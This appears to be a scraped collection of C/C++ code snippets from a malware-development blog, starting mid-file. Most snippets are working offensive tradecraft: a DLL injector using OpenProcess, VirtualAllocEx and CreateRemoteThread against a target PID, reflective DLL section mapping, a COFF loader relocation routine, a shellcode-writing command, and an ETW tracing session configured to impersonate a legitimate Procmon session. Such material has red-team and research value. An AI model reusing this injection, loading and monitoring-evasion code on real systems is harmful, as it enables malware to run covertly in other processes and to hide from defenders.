    BOOL includeSize;   // is the value must be given as length-prefixed
} Arg;

void PackData(Arg* args, size_t numberOfArgs, char** output, size_t* size) {
    uint32_t fullSize = 0;
    for (size_t i = 0; i < numberOfArgs; i++) {
        Arg arg = args[i];
        fullSize += sizeof(uint32_t) + arg.size;
    }
    *output = (void*)malloc(sizeof(uint32_t) + fullSize);
    fullSize = 4;
    for (size_t i = 0; i < numberOfArgs; i++) {
        Arg arg = args[i];
        if (arg.includeSize == TRUE) {
            memcpy(*output + fullSize, &arg.size, sizeof(uint32_t));
            fullSize += sizeof(uint32_t);
        }
        memcpy(*output + fullSize, arg.value, arg.size);
        fullSize += arg.size;
    }
    memcpy(*output, &fullSize, sizeof(uint32_t));
    *size = fullSize;
}
```

--------------------------------

### Inject a DLL into a remote process

Source: https://otterhacker.github.io/Malware/Module%20stomping.html

Uses OpenProcess, VirtualAllocEx, and CreateRemoteThread to load a specified DLL into a target process.

```c
#include <windows.h>
#include <stdio.h>

BOOL injectDLL(char *moduleToInject, DWORD processPID) {
    // open the target process
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processPID);

    // allocate the memory page to inject the DLL path
    void* remoteBuffer = VirtualAllocEx(processHandle, NULL, strlen(moduleToInject) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
    if (!remoteBuffer) {
        return FALSE;
    }

    // inject the dll name
    BOOL status = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, strlen(moduleToInject) * sizeof(char), NULL);
    if (!status) {
        return FALSE;
    }

    // load the dll with LoadLibraryW
    HMODULE kernel32 = GetModuleHandleA("Kernel32.dll");
    if (!kernel32) {
        return FALSE;
    }
    PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(kernel32, "LoadLibraryA");
    if (!threadRoutine) {
        return FALSE;
    }
    HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
    if (!dllThread) {
        return FALSE;
    }
    WaitForSingleObject(dllThread, 1000);
    return TRUE;
}

int main()
{
    DWORD processPID = 30436;
    char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
    injectDLL(moduleToInject, processPID);
    return 0;
}
```

--------------------------------

### Write shellcode to buffer

Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html

Use the wx command to write hexadecimal shellcode directly into the initialized buffer.

```radare2
wx 554889e548c705....
```

--------------------------------

### Apply COFF Relocations

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Template for parsing COFF sections, retrieving relocation tables, and applying relocations to symbol addresses.

```c
// pseudo code
// void *data : the address of the first COFF byte

CoffHeader *coffHeader = (coffHeader *)data
for(size_t i = 0; i < coffHeader->numberOfSections; i++){
    // parse all the sections
    CoffSection *coffSection = data + HEADER_SIZE + SECTION_SIZE * i;

    // parse all the relocations for the given section
    for(size_t j = 0; j < coffSection->numberOfRelocations; j++){
        // get the current relocation to process
        CoffReloc *coffReloc = data + coffSection->pointerToRelocations + RELOC_SIZE * j;

        // get the symbol related to the relocation
        CoffSymbol *coffSymbol = data + coffHeader->pointerToSymbolTable + SYMBOL_SIZE * coffReloc->symbolTableIndex
        void *symbolDefAddress;
        if(isNonStandardSymbol(coffSymbol)){

            if(isExternalFunctionSymbol(coffSymbol)){
                // resolve the function
                // add the function address in the .got
                // return the got address pointing to the resolved function
                symbolDefAddress = resolveAndAddToGot(coffSymbol);
            }
            else{
                // create a new entry in the .bss
                // return the address pointing to the new entry in the .bss
                symbolDefAddress = addBssEntry(coffSymbol);
            }
        }
        else{
            // Compute the symbol absolute address
            symbolDefAddress = getSymbolOffset(coffSymbol) + sectionsAddress[coffSymbol->sectionNumber]
        }

        // Compute the address expected by the section 
        // Write it in the section
        processRelocation(coffSymbol, symbolDefAddress, coffReloc->type);
    }
}
```

--------------------------------

### DLL Entry Point Template

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

The main function for a DLL, which handles process and thread attachment/detachment events.

```cpp
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
```

--------------------------------

### Initialize Tracing Session Properties

Source: https://otterhacker.github.io/Malware/ETW.html

Allocates and configures a PEVENT_TRACE_PROPERTIES object to mimic a legitimate Procmon session.

```C++
// Size allocated in the property object
ULONG SizeNeeded = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);

// Object handling the tracing session properties
PEVENT_TRACE_PROPERTIES newTracingSession = (PEVENT_TRACE_PROPERTIES)malloc(SizeNeeded);
RtlZeroMemory(newTracingSession, SizeNeeded);

newTracingSession->Wnode.BufferSize = SizeNeeded;

// Set the same expected `GUID`
GUID  procMonGuid = { 0x75955553, 0x2055, 0x11ED, { 0xA6, 0x4B, 0x78, 0x2B, 0x46, 0x20, 0x15, 0xF6 } }
newTracingSession->Wnode.Guid = procMonGuid;

// This information can be extracted using logman on the legit Procmon tracing session
newTracingSession->Wnode.ClientContext = 1;
newTracingSession->Wnode.Flags = EVENT_TRACE_FLAG_IMAGE_LOAD;
newTracingSession->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;

newTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
newTracingSession->LogFileNameOffset = newTracingSession->LoggerNameOffset + MAXSTR * sizeof(TCHAR);

newTracingSession->MaximumBuffers = 54;

tracingSessionName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LoggerNameOffset);
logFileName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LogFileNameOffset);

// Set the tracing session name and the log storing path
_tcscpy_s(logFileName, MAXSTR, _T("C:\\LogFile.Etl"));
_tcscpy_s(tracingSessionName, MAXSTR, L"PROCMON_TRACE");
```

--------------------------------

### Toggle Decompiler View

Source: https://otterhacker.github.io/Malware/Docs/Tools/IDA.html

Use this shortcut to switch between the disassembly and decompiler views.

```text
F5
```

--------------------------------

### Map DLL Headers and Sections

Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html

Copies the PE headers and individual sections from the file buffer into the allocated memory space.

```C
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((PBYTE)dllContent + pe->dosHeader->e_lfanew);

// Copy the headers
CopyMemory(startAddress, dllContent, ntHeader->OptionalHeader.SizeOfHeaders);

// Copy the sections
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(dllParsed->ntHeader);
for (DWORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++, sectionHeader++) {
    CopyMemory(
        (PBYTE)startAddress + sectionHeader->VirtualAddress, 
        (PBYTE)dllContent + sectionHeader->PointerToRawData, 
        sectionHeader->SizeOfRawData
    );
}
```
Tokens:
Raw